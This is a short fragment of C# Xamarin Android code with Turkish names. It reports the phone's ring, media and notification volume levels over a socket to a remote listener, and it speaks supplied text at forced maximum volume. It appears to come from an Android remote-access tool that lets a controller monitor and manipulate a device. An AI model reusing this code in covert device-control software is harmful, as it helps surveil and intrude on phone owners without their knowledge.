public void sesBilgileri() { string ZIL_SESI = ""; string MEDYA_SESI = ""; string BILDIRIM_SESI = ""; mgr = (Android.Media.AudioManager)GetSystemService(AudioService); //Zil sesi int max = mgr.GetStreamMaxVolume(Android.Media.Stream.Ring); int suankiZilSesi = mgr.GetStreamVolume(Android.Media.Stream.Ring); ZIL_SESI = suankiZilSesi.ToString() + "/" + max.ToString(); //Medya int maxMedya = mgr.GetStreamMaxVolume(Android.Media.Stream.Music); int suankiMedya = mgr.GetStreamVolume(Android.Media.Stream.Music); MEDYA_SESI = suankiMedya.ToString() + "/" + maxMedya.ToString(); //Bildirim Sesi int maxBildirim = mgr.GetStreamMaxVolume(Android.Media.Stream.Notification); int suankiBildirim = mgr.GetStreamVolume(Android.Media.Stream.Notification); BILDIRIM_SESI = suankiBildirim.ToString() + "/" + maxBildirim.ToString(); string gonderilecekler = ZIL_SESI + "=" + MEDYA_SESI + "=" + BILDIRIM_SESI + "="; byte[] git_Artik_bezdim = Encoding.UTF8.GetBytes("SESBILGILERI|" + gonderilecekler); PictureCallback.Send(Soketimiz, git_Artik_bezdim, 0, git_Artik_bezdim.Length, 59999); }
public void SpeakText(string text) { toSpeak = text; if (speaker == null) { Android.Media.AudioManager am = (Android.Media.AudioManager)Plugin.CurrentActivity.CrossCurrentActivity.Current.Activity.GetSystemService(Android.Content.Context.AudioService); int amStreamMusicMaxVol = am.GetStreamMaxVolume(Android.Media.Stream.Music); am.SetStreamVolume(Android.Media.Stream.Music, amStreamMusicMaxVol, 0); speaker = new Android.Speech.Tts.TextToSpeech(Plugin.CurrentActivity.CrossCurrentActivity.Current.Activity, this); } else { SpeakRoute(toSpeak); } }